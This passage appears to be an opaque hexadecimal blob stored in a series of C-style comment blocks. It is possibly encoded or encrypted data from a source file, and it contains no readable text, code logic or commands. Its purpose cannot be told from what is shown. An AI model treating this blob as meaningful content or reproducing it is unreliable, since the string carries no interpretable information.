0238b0ecc8fbe8b29f9e09616d6b2115b82fd00f8276bef720aaa6fa631ca69412008c9430466666b2f80f7494430fdbcf07f82d13e37af7ab9dfd507e6b6e0331b2f576ac3d2cce0497c4a73eba01a603dd82c1de61c8e713a2fef62144707a52f05fff79c40b186c9218ba90cf7f11f666a2da36d7d33a70e60264c460114daa83f45d2047e545025599c47eb382e32e25a287bd9964920d1929cfffd7f805e9034128d4accdc619ac1bfbddca3e5037762fb3bd245fbd7f74b9ecce2bb27b4a58a4fd94028d3778e129518bac0e6ed53a6586f67fa2b8fe79219d71f737e3c2997f4d8f07b64092fe95b83dfea30428971f346f6224faa27efe9122567c0db04c9313b3de5b92f85cc3990c0436d04347cfb57db9f50c24f147c78ec3a6f460d664d9b9b3f1c322dc4fd74a4af152a7fccc3b3c894997f0b38a046236deb59991618fc7b1b08b594cb52d48c52ee4c06d1d328b3d80c48de2b825287194f993c12472365c125262c78fc14d7d0a3b1284ac97a1b6acdcf858b1c6b19fa19ae63ef18fb4b9d571e6b142bd65cce3e4f1c3692eeb9b7e0234630819526088d4ac77a99424f5705c455f81a3a6fbc829485de3cb3ac9c35f55c735269a83ece82fba29911d421e0157d37bfaefffa39dee6eae9be4bde5a6f1ef7403aab5550ff84c5c02446b1e506d47bdd93f604a877558e72f9c976eaa094e721cf754f043fe28922a8a9e8135190b09bb14d9a6f4b0d3491685fc8d*/
/*9a9edeb0aa8cf5fa06ef4535c99104aeb460ba592474788ea1b504b8a2fb2e5655c8eb01d1029dcb6820988c85a755761790b74c63e0ad3e763d4b20ff0841a98ab12a997f8fe529e90a6faaef2cd824586c10f0f97238dec67a37f27ebe4d388453b8cdd1d7f7495e40e0e8c961578c47548a27a08d64f93c5247532bed9077999f62026bf159754749a3d94e57c44e848c6f357d75cd96fa67f266db987e346fc80a3a9fa16db71460c1fc5868db3550f78b41cefc5e0da12fc3ad55e29b50cead350ece807e73c05ef1530b57365e5b3fcfe6c6e49731fb1de572332787ab09eae32d2673739347f43c01f833ae749eff14169f1939566f381f9ea4adf30a38a71c82e5b52b367445e369802cb6d8cf05adf8974af24a600b2b2940a121c17bcca61bdba408937bc06038e600a49542e30593c0108ed8a5553d581e98f0c3b07fe8f55081a5c808ba5c7905fcd029df910ec75cb3ef49d85c6fe8a0cef6959bb70c7adf0d85841f9e6cf5cdd40964eb9de3664a737198d75a6d6612d4cae250cd712e10c3d141b18c56b19c0b09cf287b69676e2247e7faa870923f144e6a5047ca926f8dcb464d3667b8143e821e34065c51cab45370d882a4e0d85dfc0f5d4e57879494da800a29753130f7f60e4ce36beac1df749bcca30e5d0cb19546fbab61e38c946ef4449059540a9f2247d06e608ed81f036aca8e52c4c92901a5cdc2a7573d49290199e60259acb7998fb5f5cb81f51f7f4ef8dd441c4a8140dd17f670caf77b288bc35acf5c68959a92d027c01381a492a52315fa93cf8fa11994ad1ac98de83d19b5a76f2602d196093f294444a9400f8fb0e03a2a19a3697ed8c6bbe0a429d2bc80b6e61c5bb6b5c3cd2b03b481a31b7b3bdae5999c58bd27f0838b1d1430fc270a01622c799ac60d1a27ce907ef5cd7ece20fd13e5afc5ad830ac879d399476bdbaa04994b50500eadac4eb8226d6f8b1d8f88b315d24891b3f2f6a28d68396eaf1e150273f2ddab93b6bfb55930dec68ce6329f66341fcc3be9c4cf09a6a09049d6669cb911878915abee79935041ec0e5c8540ae550f65dc416eb5420e45d8f479726b5523b1621bd76a7023772bd13bea5b8f042ad502249eec9e668600ad4efc0860cf8666f424ad18c83e88165f65507979107f7ce36e5f059a271224e110ecbfa161afe5387bdcef20038b0b916b2f142bd9540fa248560a4af5acd46f8aa11a240ddcfeadaff005f0155f63bb67bfba0128fb72119ff20f2de9c0cf5b8ec4a1b6ba497a9e9798c41ae45a3c0c9ce38a441c9a59a1efeda500f2fe44f388dbf3e6d5803034a44d38a7585bb956e9cd1458813304623f1f93fd00e0b127e417b2fe4e5ca8045ce250c5268588089ac17238e11ecb2d520cf3667e2138b286f543481153ab588277c72cbc9031ed0b8b9adc4003666ab8532300351043519da76f61d8138e85e2e898af1dac355e03a8e86ae42c77b294d1604e7cb7af6eabbc7098005a2143ac27e5f18dfe6fa42ccc0d32c0ea3e9d93abf846adcb57de1434e2196bea408f39288a0c2809b54dbbabe0b4c45e94dcc3b98cf503d5602f54b8fc665ad526e49be595f5ffe1dfc0a8c77f7462c68ffbdec808fc5a5ef05a0e3e0ea51e10af26045c5f0269736133233faceba63af593fa5782c7cbe0c0bba44e078b98e9f59195a89dfe329cd896155dece717e4ab8790dba5bf777bfbddc5a83f1a336b91be2d66140dcdcda6a8967c9e5bf0f4edc0aa1276bb9d9168498675306e7c77317d3b32863161908a2a50075dfae9795321c6da4d0cd3ce5e65f83912a3e44a8ea6e6c87d7274a61f8dd6784fbca6fe85a87e5e791bf9467c54cd369a2c40519c888c1128479697d08064a0c669d10aaef168c3663e9eaab163fa77f66e3a33cac27671bc15c1f9040da8bfa367c06df14a26852f9f7fafdae83106ede366a4d87f164cdc4a92ca3ecb0814e4186d8d4cb3327a5dcb2eb71bbb031469a7e7e530b07dee429dc19867d48f5528e9ea6834bf9c3e17550b65fec88d9b0acf425bed144ac8062fcf1ca07fbb6cc98df516e4aaf28e7962d5be2271adb463500fdf5fc6489868d70b3e52848e79faa79d592860b5dbdae9dd5cc57e2b465855ab0ffce7b45863c2e3022a93ab27b84e3a87fe1a0ca5d55cc094ab61604a696e94b13fe7a81ddf8b53ec9c8842d4ac9707b839d7c487d4e6a1f78eacd6542c94368aaabfc895883e4a435445c8cdcaef3a99c1624966d7f750df98497a40e73cce4308890edef0779643534a02c2373102b6a43c1c1620ba54ee182a525510aa0f66677d7bdbdaae72cff1aa880a99f2ec031df8d686f43e88533feb6d8bfdbdcf02418e390f7313a4a3c7856c1129020e4ca5aeccf8b5d3116f757f053ff63b92ea3320427576a808577673877aa2b36b82c742a6fefb342fbffbeefbafeaea37f5df1b4c9bd94e538c093fba6cfaa8c0eea8a8d68732d2723ddf903ebb2dd5598f8c66a57e576ea2a8ac3df4ec7a2471011c2da64a1b42e2e41228f521ee3b23ef6a3e7e6de15cfb42145b4420f997bae51898306df9c1752169c3d99f298d1b8872440813410f8d19c0e017db3badad961686b11307748b1fab9d265bf872b70afa9e0ee740a68f4c38b9eb7df1e07b32c42ddfda900041c9ee7e0a6ac43f114afbd09b1113d429f2c3f84d4ba435980cecca06624fb003eda2a1c08bd3208cc43f72c7fc725bb87318058211aa68302d23a1ee12782fcb79cae1e15c6a8abc876307ee49e99e8d4a922fef4781a4a1e0c3b7453f2158058e47925ee789775cb5e666*/
/*b0ed95412151dcc8476848555c3edbc6ed5353e6fce891a62515e212b272ceb93218ad2fbde37e695d3ccb0ea34359adeb2f6e2bf19828cd65cce4dc1b1707075ff98ca74d5a99144ada17b83a838a8b3c83791255518819e3596a42c92857315c0f4a2e9013156080d193f7e27db9a1a516f942984cb0120d6a32720fb2f476dfb91db272d5a470fedc37899c6c927aebfaf64ca9c253583ff49a0ba14e72ae3f5e278e6c26ed68d4d20ed6d50bfec559f5be8779931df3c3d48f6fa72d26052feb39c4c0313b28d4ee77e282f37c2ea52a5e8842ff2fd661ce0696a2ead723382a8801818139774541bc93bc15170a42696a0e2d0c4575b50465d6bb61e4f40bf6d4d2e28c55e01d37dcf1ab452de3c27b34600c09ff3fd6d3a44441d2aaa9ca55e2ac52a02801f782fa61a7f039786b40123619aa2ba11e902dbbe85b323eb13eee30d16ade97456d4944db8ef60ec97846a984ab6308328400c47a0eb971bca8b618b44d3c95de930b989128cf3edb42298e63b022d7c8ae3a6d2c0b547c65db957ff705416c84a51dbdc1104e48d9cecfc688141990a5c8ff00e1dd6d323c437457725576faf678b0ba58f9d78f6429189676dd1682a52db37e2569938fe24247d35ca3f1aca4586040441ad696d2065f6b0f4dc14d6c98195082d3a5e10902cd9d15eff697a763ccf393a9d85b2e5cb2c8c72f08a35f0b30aeba63d429e9d735f849fa5c1a1a77592c5fee38891883c5bb2ec90d2c81c42d256ff01d054af5e01db778ae2720c22f6f77daef575a1a9610dfbfac6da4897193c7334cea9fb5ddff98300ea3969454e8c3d1c05e5a62efbe0b48fb81484869ec8fdf1d0059a6ac0c15a78f455945affa84ade37901717a9b7ed4038cf002bdbeccde6a3794110888ee4375bab309d29ceb250a4b90ddeb2498c1d52a3d99ecc9e7cac6bfa31395e02fad08ba7daefb29201735b459a011142110c346146028f245bd4fbefdb9327cc7f15c4bf6fbcc922fdf8821028bb85b2904155082da80055691638b457728041e2edfe082b202bac9ce2f8e01a4056d164034f173b8aee2795fd05bba9a40a271ec05364a4eec25814139f4e01008e1fa79191b795a232cac89cebbfe35246c5f048919e4cd8d3edc59c9e82ba65c11467cc516a336e778f5c6fe8eeffb6d21ddafdc734318f0bc0f9f109a6c45c8751af5ec26487d125541a3f7bb55e590a4b1bfddd3032a4443710d62b9e9c5327af4a873b7d30bdc7eed4ecf210106c8865a2e9e78bbbc34370c4628ee476ce0bbed1120a01bd357eb3ff2ffdc3a84dd657c9f00afca3fb13ae173472e638dfc888022093144e815667bba0e1d93762179528507e203c444ede90d5278157a3d4dc0faae51c588da2cee918e312dd747130bf8edfb773a330a197fbb9d6b6157c35463a874dd75b390e7ffcda75229fdb1f95211bc5da2e45469018b63b4a434f9a597a10b7a971fdae71db7b8279cb21bad224250e5aed31519e0e5e855e3a702c57fab50b9091303d84be8277ea072371d9d9b96d9e3480e136dd064e41b4e19f77caf5e0769ecdbc548983bc4763d4b5356859c259ce269ede1abe67853dc2e1ef8abb6cd32b918dd69e9753f0f93ee0f8326398dc21338bd88864059cd6180f1f773727cc5a9f3c1b054b72e608b82aa05e54adc003c8f559a1e5d1d744cc1170f7da98ec583cc93c9e6b54ab544b2513a5fd339ed5e25dbce84df6dc5135ae5086c9815dcbca4d5bcc78fca4ee5f2e2e0fc443a759c006fbb160b501a7105f45ff4904d494e5ef6e87087f245fc9b075e603fe92c2d33f5b9e9a9ccefd93fde5dc56361c33844f3b555819b7ac8123ee429c3e349b053a493f672140d2d358da29a07edd7295b8dc0f8623a5a5bdfccadd6cbb751c1f0c925b054ee6c4b9956cc0e480dbe90383f1c672350cf88fd709d06ddfb8ab511f04473ea031d13edda0a87bc8afd76d05e4a3a09f0e6ae11fb174f707a70d73013b4e5868881884db9cd57cb369ac2e422dea3f4dcbac8f6ecfb2271781e538aa4de54d270c4650e5f515cfee634903cfa91a5024925bde1be9ed8f92fba8afc8235e0ead906325b33990bec47477cf4cb3968d5cff092bbf76591d11074dd2baccdeea6277b5ae8b36ae734851abe1a2848ef3e7285431000db07c73ee2e1210e266c7a4804a4f09a4755221151e08e870dded2ed11e8d35b130fab8ee1d2ca5e27dbfb72e9f4900121cf891d6fd112600b28a6335f96878ff71e515025835653c55ead0a18593559e40bae86d75e7c1c227637cfa37a0582a9eebe9c20e27fd698556e30d674847d7b085fd9e9e932f7d2738f1b0b2042e771229ec928ecbb94802edae04ac822bba67327c361d1c5aec952ebdfc5cf74b52be4e2972492f2d30f1592b2c6ee4aba8732d63841429a2ebbcf9c3f63c40b58b7f95c43f44a445234a4812ef4c5b2720450d447d552d784a19c5d643706575fc0428c96b7eda977225564cb8f7470650762d387c1e6d5db5471a5592022c6a6194f2803e3b5bd846378cc05aa78ea394a012910dee1395116523eb08767d2e76a8b4b5c08ef205dff97889c5832c1d067386d3b7556eda4921d91098b845db03a357c0b6f81df848eb7b185adb1a969d1e7e07033820b6c270a6da37b749da46915465000e022569815f536aebf51514daf9997600f7824417736e6f2b6c55feb70eb8be45ee1935f0059932c99ee370933101f13e7e48442cf69f58ab42db747121a81afd45fe7f71b7b1feab782199e8a97b5c60668cff901971e5f91d4e2b2873f6013a1257385f029*/
/*57b0091f7b42c0b827367d6f8140af14e455f29c9d9ed20b74d2e9cb5cec9357b8c970fb2c312276b209124e90a2aa548681f73fe1be5084800c09d20beff29c0feb45e4cfa5b21a0c5dd12c3aa91da9788dea7bf1fbda14bab3284cf71c5904bb74f082de23b9368e119f891d2cef2b151fcd28646160fb2af2abc65b3547e1043c22b433a2f1004f5a95eb31c07a1af895a846dc5a561761bb4c01fa4d76765ad0a8f4dd3b91c6a27d5e2b05d0233af6eddf5a7511b994fc434b6fdf422ce0454f09bbcef4aec5cd44794d1d4d323fc632053d6fa1f9c879f4a53a1d5dc42b8dafd074190550f5730b28f2a7422e8f1ad9e51066ce5e80cd7295024cc8a991018470f535d2d5a0e75ea1f8d39916de02e74860a5884c9d81323f675ba2505b973213183d5f81243d73e9440fd43cb452425edaffac9d6648b3145bdd9e3ca2890dff3e2f488a07d8a2163b916f81dacb431e114c2fae58af21e9334c1b5cb8200383b668e5926eadc5951af9f7727249df8df688168bb45d04ceb9d48a5a71848c78588bdab5394167e81a123e5c6e1f3a61844a115628b7df84e7bb150b95ad748925206216405b47ce91cd186df6e8ef430642a40bd18bd1994fa137216fe8e8cf4ddee9563f99671557bbaddf1e5dfd1876930276d045a0c90f61186dfb4c55309585efddc5fbe91c0f0316f852d01bee189f2be79dbf6d5a1fa00f7a7ba9fc203f053eef5f02c560ab939fa7b3a2230bcd62011c30448d6ea8d637ea761895a7fac5fac696146afa55338bff3c124fc477e7a1e0893b36d946a44dbf867d12f39ef068de4ba592b745651c2803fef416d0d1b3f3d58d97cbf66f0a2798100572d3d743588a847a43ebb7e072b07b17efb8b516ca3c62552ee9aac87db5bbc2ca231bc2fc89e7e8d7daf950b44c6cc47f527ce64de38ba64fa34be9c9584835e195811b77052c34cf728dec3d10c29b81169bc553dee41c1963fb2bb81bca32435b9440dd4ac2cdeeae396f52d44b07ee12914ba6719f050647e04a83528c988af061cc4b3c9ff4921f7787a56c5439676468132bde829e044a9ff960b518f0fe95094e494b07803a5b8e0fcc6913e4ddb6e666c385f39d0db01834cd4b03a01a048760a251320c2e2e9ac9b0d2c68a0f84322cba73ec1aca1a0f5374ae6ba6974ade9cdaac0d6e1e90b07291ef872f9f67a023b05163780143a7f6a952b9de9428fdee6059791c87f9388727b30f8e3b66a2f779e13cf02665af59602deffdd0409814973b6a6a4bf93cb7c729045bb9e5ebc05dab41e5efa8e308f9ec625b09fac624b4c88754d6927504b2acc42943b7d40a4f0fd48009156ef2f5af285b6405388867ebd0a94807bd8621682750e2ece09bc1c368643887bb55d6f58f71254a0ef42ccbbf636967e5996556bba7839c59aceb7ad78001151ea71880073f652b688881d0fe9f4cf5dc3aee630c827362810f7ffd51b38c511b2aee2ff84bd954f5dadbd6e6cf0f9ecee2e1af699d6cd65921c16ac3f470c1edb6889accb93a48ce95e7930dd6d5adc096bca4a68763a3c6afc5aa03a47e16fb7464ac51a7397edfad26f8be5d9c027a12f5b96d7554102b13d69bc8e3a8b4c178163983755a6e8043ad4a29498ec9e2aa9a78991d2b9655fb15400677da9e19af6d843f990441c6773c5d39a6f40433bccca8f2c7ebc355f0702b375e8c498dabbf445a4fcecf10c9d6538ca490b971ac951177c30a73ebb9082bf54ad491bc070b1de4668467d00c165390eb2acb3b33b6096e53ba6fe6e916d96bd1c180bd4dc9c6caea8e4388fec7ae699e4672e12ce686cdc0c45fc9168ebd4223590861afedcbed0c1e9e96e8c6d9103051d9c71481db4aace4f57507a8b1344c344f8da37ef47eb7f22ded2c50b3556a2f0ed18044a9a5e39c83469a4c9cb7c77dccd0fae355870fc9b6af8d2ba6643c053460f5724568c5b195a9dd9933c81d72d8c0f029c68a909b7b36c014f6f07286679e4d0647e32c36a958f139fab62ebd3ef5dc556a024b796a8376e89c3ff47185657672be58bd03a82a464e352f0bec56d7b35955582a7fda73c98021536bb649066ae464e324a1c2e9b3f5f841c856964699d6df4439969752e741f204f72e4803fbe5d3bb0cc6db0d26a5d7b64ac4c48c91aef54f3685de6c10dbedcc5b6eb2d430e8212f973f769fa5bc19c075b097141390ab7c7cabcbbe983551f930fcc2dd2560db4eaa7d18443eb3c733f79ac39497eb96db86cd94375314f5f0c18b96b729063dcaf26054b9b9f018686b753de9db2db38ae78d75142221448c6fb685058784c16d725e6eb49c84e1cf6f1fcb20cada3af761332412faa8245bfff85c6f3f3d064d5c90fffbe8eb072bbfda3ddd74428c3f20769ea375b25946b7d90c644d811a21bab37fc3ec4675f158ed1cff58e5303de2eccdee6142f4f74a9be5131a017fec837233fbeafe2edf575201e1b0319cbf48384f5b27e139e659bb4c5a99ad6bf2e3c5453e4d826a078e2688f6e6402265f56e5c45a912684e8e22f54a171bfaf7672aa56789fde95ccb76a5f5454cb6c7fab0239abaefe56bd1f4c117192506b19a6c9ce47e8aa4f5a1f6c726ac23fdd006f4501e021638a496e30ce16f75f5387c8665bfe6141887e0c0be2759856ece4909796a5f47b0e8e0502e192a1c5bcd7fce26d7f647a04ab1a2886f7a60e8a9d320b94ee0a01b0bb3a44e80ed7539974e197e3f6aba099802d4fbf6790658a688f901cd98975ce42efc240a38190fe5c224875deec817ebb29095000bf36b2cdf629aa7dd96f9f8ed384464d0d77a*/
/*d905bafffe932b12a4b99bf73ef83bd867f6edaded69040a5cc6ec14048594ae4d524178f975533cebad38fda8d96421b8340c57f27964db37780071c6059c200b602bcf5ce21dd95380f37b6f930d3de9e3f9b9976f85ffbb1b9a5998d90625125e590e20c8ccf3a6a688237927a7892db5a5c04cb75800ba5ea0eac09b6e6da0a77f44ced318c789d3caba6b4b1b7566ff7ce06bc4fc23f47df3edcaf265dc769c96159d66518c6b2ca0e57cb30eb7922dcf1ee2f4534041ec51196118abf82aef4cdcbcc82abea6a48784581cbbe62cdbcfb3df05220c69ac11098f06d7aa35e13436c24e9a69b20a103fb4bde9fb37bc975a8a2b8ce224d64011e6d713bfd33d6fea7f78f2c3f0e58c9845e46d89e26a4edda0536fc52e9dcc752e0da70bc5f81843a01c0c1c6f945ba11d085941a93e0067d7d1e90f232181983ff948c8b99c3fe10ccd6f048d86cd202bda700b230139917f95e958048d407c48dc1edbdc6fad656f18aa396a6c9cbf49b4ea8f7bf896dcc6f0f234c98bc84035104577e5e071f9123501b15e01e19fe2c352fab316223213fa233fa30652c0b9ae3103003936b829ee979b392a82e5bedc6c72e8809a9cbdbf9b99453c9d36abfb1ec0a85d0807ddc790966cb04ce48746860d043533573eb99a32259af64fc73d2bd4a8435c137644bee76d3429dca127df30a4cb86127eb9b1043341507351b35720c73d25084c90e3050aa4c4172545c86884236b1de556bb95257f4d40478315a00aa6d8262522edba7caf21201c9ebc7903d6c1b1c232974ea180ef1f0e93ebc0cd10053dec9a85e5ad74cf0caa84efdb29de014a529191cf9ca5708cd7690c4d4cc7399dcca0aeed367fc28b4488d2e2b18989c5ffc8d1accd848decce47a8fb7cef2637e7ea32cdfb3caec79735c3b23a935d7c7148ada59ec231ac410ea3e9b3ad13f8b798516060f86865a23c0dc68453ef4444a4b36a14d8cbe6a4964392d43409a8e9dc32fb4d49f9ab1df41ed7513f33217145c98174e01bc31e9356f71505ead1da0f159264bd14cb316d858c58517b7282c912c903579c3457087f6107efb7cc8fef2eee4c04a8c75fd721b6ac622eeda67bbf79063a77cff7b187add4b186cffc8770762b5c8eb9dd86c12960ddbd23e244560a692d62e9b65123b609d31aa1b482d74cc82917c0df67144fbefc847426a1909eb74c37154dadc7c1c2baeff244a86a7cf38550e1ef03fb39625d9d15f6bc61d7d4b44790cdd749b34e703b84837c9fa1e08aedc678ff70e500c6d3513ffaf3717e7d27af674cee74017f0c7c10d52a9973bfc3cc5a006f16974b69f87e08b9d9d3728fa3f2cb9e8578ce456521016cf616535e5993bfe0a825f28a8b5cfe22590e64778aea9f40157357df15b43c2223bc018f8e15b5fcfd6da60e9a9a2b94d2211f25da4236afdefb3aa554cd1d95281a28bb62b105f371162057066b47b6f57121b0430ab31552ae84f7e80856e9e0cb1e6d3ee8e4636a3397b396f650478c220c098cc415576eab991cd23fb4fc90237db7f20704a0d85923b63d99e3f33b807cdd86ea43fa36754eb6cf98d75ea59ac110057761d2af5dfb78ddf44488c83d2894a38adf78aa3937c30fc2b93b42792427c886475d6a0fab3fc4117ec74d22ed8f63402fc1e3e1e1bb8212e22ae42866e1804824e96dc9fadde10fe3c5eee75c65d9156013f2b0de3e3bbae36d06f0f9231b8a656c0ba7376b539e84913f882294543a971dd023b5b6774e4624c99ab6eb9b659ded77b932c4f9dbb7c8feedaaaa562db0d42f04d17a90a6e2020d1c9da4effb6231f3acb91c6d4c5aab5660cccb70fb3e259015d15c4bb83cae3259de93e74a5d8da79141e969d672455d6bc0f54dfed5994dfa365da36bc238150feb794b0399258aca392b58945b369223115fd767937a7efc32f6297524d337413790433c9e516f29e10563bf10718cec64f537c16dbf1460d1d4b4b4fd011fea9957bdfba61ca46c817d14e8fd1209a790c34e501210a7108dfc2fcc671cee5c8a43c0df8bcfd8cc8573bd8bdde20cf960b639bb4200c57ff74a365eec72ac34e35ffe9d1f8b4d2bbc62bbe17240562de70d826ff2b89a8b08d98d9114cee5f732f337b73392a4a19993d97029d4d013a4be0f49c6fbf9ef7f0fbfd8cef516e5e0a7523bc58ccc8cead9cbfe0ad0850406dbfbe7587e471b4e6491099d6f1bc97f366d714c39b2c3d364dc00e922f6aaa814e6887b41902622884cf1ccfb801f2cd6ca183986d7a2ba69f12ca52ad95c16199627addcce1d0b8d38d9b9e935cb1502e825b94b271d626cbd617bc6c02f8386cf90890da4990ae0f508cbe3829f509b32f7ff6c6a856bb43f07ac4d06e71e60f8e1faa3aef0582b0f067011b94eac709fd5c71350e2f7cd770ea0e15c286f143fd7e2a84714d254341afc6dc23fc3a674ff838fa479aaae39f9aa04b39b8139b2b8efe47be1df18521b8e5b6a8c22b355aadcbb790b75ab372eeb5a0a1ad29aa66bc2d1bc179f626e2a3741dcc1d867d90f9a323c0ae407ca0d7cf9bfad9ada86a4bdf2cec7a23c20f6438a5081df1bfad9c7afd56a952bc2e3c01562e9e5f60698efb62961c0d601459943871711b78f5e8143f57dc04a9f5838cdd277ef498674d54c17ec4bc2f1ca1b734bc8d80457249bc81f2f10cc3d336143ff818cb0ea841ae0fee3b257c14a4368286b5515e87ffa01f12c4c7216516819871d825d1e90f509db545332f5748eee50c8fd0489f43c628456fa6731550eea5646baae425bb6ffb0bc513e18c9c95fec1831430f100e3a23*/
/*14a70dcd7e474252f4d7fb3d1c691c7853d37934bb101d73c64d4b00ccc6ce28ce63b01692a206105b1582af0eb604480dcc17063bbda9a942a4ad35079b22241ce0a3b43a512aa639a7aa3f1af5c70d022abd3c5af60ec6bceda40f4a986e1c4638d6bdcc8ff7d08af4e6f8503864cd0b2f6fcb36219b16c48b866429a76b29c5fe281f57bdb1f0b0fd8fa7219e3ed150e2cc06786100c0fe23b849bea395c00be0f786ff38a641fe9a5986662c01f826133ea8564b2afb9db97dd3ce525c3549c1c42042d7bb93171912fa4bd44b742a6fa86b1371a48679aee706326bde173155d55b40a39987ec60882d6185831610488e1524e14c114f5cad1bc7e462c8b4449d5ae078fa3c32f26db3abbb49afccb5ec662b171b5173f105f981a504fab8a92790481912319e5de59b4ef5db9db47def76769ed05ad5828e14d9343ccd4f53ebc89d798fd0c69ede77eb65541d738515fe143c91d4901cad69756e21fd94f4c76094a544d3a00cb3c36fbb377e150ef5814ec1544a734253913e50cf8c272401d9d133d0f283a5b9f057ff7debe35bf57faa69c40ab7e6ab1272b7d27d2d4efe98504f389f6146b82e67821351865ef3420261440501a8e858557448c60bbf58ac8298d4061d20bb4aaf8f497a10fa7b62e7d74a849035f1216e4de910d741498eb938cc2905fc5147a5295ef8aeec2a4b8761a8bf99283732d685e8002ebc6d3371051669614a16048c6fb0f59c9628cfb5403d31153b42ed066b6e6c3d5081811f92d42593b47383bc0973610c3f491d917480e3e6c0266c179708d0107041a39272c9c1ddf0535a0d4727736943c45914147e6253b5c6cbef86d6c1f05c47031c2d3161802312db107ece392ba344383a8373f63cf4423958c4ce9d2dd40276ed8182bf403e225989bc1b590e9d84b5252186cb0ccf6af70b72125a432532ad45f1ad5a118a3c9c8f076e629c4eb98e0218ff198a9cf869784e8a85b70f814c7024902d52c92fa3b17ae1ebd7c09672d2dd89d6eeaaaa597acc392a3b080f248d26c32caec18f646ad84c3804f719a07f23da3ad0e7413f8c4c1d2cbca48e5d35cd7c51e6381cfd4f637e53a16fbae3a53958c5e12e9b299a15257adf15cd6cb1b893a67117c047bf014a36496b9b8d1af2c9fd5ce8eec0d75f0e70651ccd7e02d2aeec82124c49716960141ebded4669500c0cbc28a2965acb028caff6c321e76d627ebfb0afb3ad3e86ce7c4c327e0eec45fc3d63fbc2fc2601b02e5f5a52a371d38c765f7759c9f3547c00da45c53f0aa825c5a785e3c364bd2a52e84b2851140e4331b599a7fff1dfd5c82096184e7ffce50e2c3b8ec8e37437a8b28c51bf6d21b3642022380d19861175bcb6a0092a0c1d6c24dbc165e1e93d9493950a96cc55cca79626379a8b9d0be86183a468d3496184c6c8be36708905d87b468893af73d6f3311ebd9db9f738fce30966354373643d0d76954c8c352ea90d0812ae285b40573d3f8a1c50fe4fbe4664f3bc3bcf46304062fb4c597408f55e6c04cc69337f7e1be731baec25024b568298b081b529025d5e79e80f0ec7ed0b2b4682ab71406ebb282f92ab0dea92630ed6bdb12352f93d2c6e84cd9395501dfcadf3b8a59a03c11038144fa6ee1afd8abd7ff8e0a5e7663962355720fac45a7630bee24cc2ad0812cccc8a1e1147a6add596bf42de7399639d7e819dbd9646d19246d2fb1f1f4989b9835f7fff555c846719a042e8f9ef68ffe5ef638f9041e5e661c1bfecf6a430bdd305b2d019094165b80f5f7d382337d1bf2feeb3139f0f93e73a82c1778aa6f699aa21688d54064b32364ebc6a73eae4ce0095dc69cce54188deabbaa20e8d09f437b344dd4467e6c988df120da28ab2091e015295219479f0ff1b183abe15d6c17578a4ea0ad2dcc060a6f041c191f33cf62f70416b7267338105087011feec7f0b5ff0f877a627d2a0fe46e3d07afa10aa4d9d5cff45101a28227eee72d7006afc506c10c836623c0863d5161c500517a895c1087973a5a784c3cef0ee679643fb9fa0a99294fb9c21a047e996e8f5febd31e9793b6d6d043f19fe499f2a3bab973be7a29851c5c46cb95459488b666cc96a8eb0c0b3c34e02988b46051c89a0dab695d5f87406598fc4c8a9df6518b45f6e22c5827a968dd6503fc7a9156c469d6dca5c2ff6525420b98a6a10bbfbd3f56fe7da40216978738c6d1966afd08842b5db1a94045fa3a0e2d1b6fee0d929b6f819c638804101b91157d5fe9f2e217a41466cb82f9a36f4554f70106a12cedc3c629a80f1f9929215a94ccdfa62ebb31819149c037f808e61ba8427d779f5e28e5f3bef2b537992a924ea78c88bb4a2b21a48f40426856d6ca06386e531cef6ede9e86925840e2d6b9a79322fa8a3c389d4109c77f7605b6b0d32746bbded3f48122089d051161e9cb4ced4f73877ac34aed3f3b2064870f8d111b4ae2828a7aaeedcae907ef7e0f27149ab13bddd9334d6af33b404243e37debf47932af99e127c2e3507cb601a743f7bfee6aa2ce3a54f37663e93287ee8763879c9c5c595fc9c26f9b06ca32b7087519dbdf7d2083e059314f967e47ff3e6310a6ba428f9556945b4a3f22a35b2b9e5d5daa5c494960ecd5da41603455d25f3c9fc4aa0f5fa5ad0438d62f9f50591e54e7c1cb2bcafe5ddb8310f6e20b5b5d42159c83a652d5227c78dba0ef77fbb76482e2a5cf1635a3e7d56898168dad72c5f06af0ed50c702bef020479fb805fbaeb9344a20eda96d4f6f48b562b73e03cc2091122b70c6d56d978a902fc92b6561d9e82b15cd63c*/
/*0fb5533eb5658e8ee1e7471430bdc176d510ad771078eff00207ce45d79e360ce7220ad6a093e5ccb7667b8abce24597f656688e7290d603a6b7e1440d0b52a7882ccebde0fbbc2dd442596d9b709f683efd58d21146527dadbb296364bcd821bc31e2200a3bfbee8411a1ef7fb4728e9b41c5fd629dce74bae7b95ddadca6c8972157edcb8276495af59a3f571b2a866454c8a7966445143389e745f26cbfbc5eaaf851d00121c3965b10f5090da962de5434a54ed332526cefe0b103519df03a410d01532182830c275a88bd7945ef38a806ac59c2ee4ea897fc6badcbf00a6d2b9faff3c842392bc52956bf1e48e9b12ade2878d57b5b002cd568cf3f7d94e5d63ae6b71f940c9f96672cf58cddf51e272e3299d47df6ffcdec165333bb5bef310b9adfb22d494764bcfc132f29641ad172af6e71ff193b51971889aff2c5cc253fb1bc5e98001ead14b0ce359973cac00a421013a1971861cd91a9600bed0b4e73932bd9419f91671f0a7386892cea518e24c8dba0342c8e3f330e02b5527c00ccefc08f98569654472d35deb421d72a530677032245939b51b2c6d50914fb856d9acc76e0d3435e253944c4dea2f1e5b2519cb038967194b533cf7d9164d571633cad3bcf111377d3a38d0a9249f4a8db01b1441a947b5e3ff15b110c82f47b552f92c05e8446a772f0c2284badf2fcc1e1d60d4d76addf859c62b2bb5c065afb9cb5bd4688774f33aec0f1537b5eb6bfede09f1b345a51687045ebb3119b23a9d77346250a914c324b5e5487e983e89c2b9dca8e123c1fac1438d01e525fee14f1c920804277a45c512cd4c5e57b46a9bba7559c02ce9d66c765260ae0ccdc17b72b920689a1a7194dd4db8bcb1130a7867a1fba9c2c82e8d3558b600c3f4759e15190cf76cdc4be45ba3052085e7dbfdde4c86b8a22f55a6572d609ab0b2b75c379e33ea383385b57c735cb109a77b8903b4a91a1bdc33da0f990c84b3fd5523bc05dda4f35cfe87f51ba6bc8a0cf5529daaeb4b3969b37fd2934a04762d61d0df6710eae783f65f09eaa713453c149931a15c5a5d51f9c17d3789da76ec950db090973e6a19f59c7c75ba3d61bd8daea0beca7cf0a072ca5c5f5b11a21fca34708c3ad82ad6e47d9a1ba4503cd415688151faa076ce20594e43c454c4593002ceee9867973bc6258bacb1b2a92bccb8f1358b9a3ee05a0db506b804be2286c8d78bc144481f5edc7a54f1c56f88e9b27a6ce775aafb84fdc88ed38ceadb77b640c6548d655696419e37a0ec2129089ad4a00cc8685fe7e6978aa67e72d8aa6f9825c807f18ef764a774116394c95d5397880b8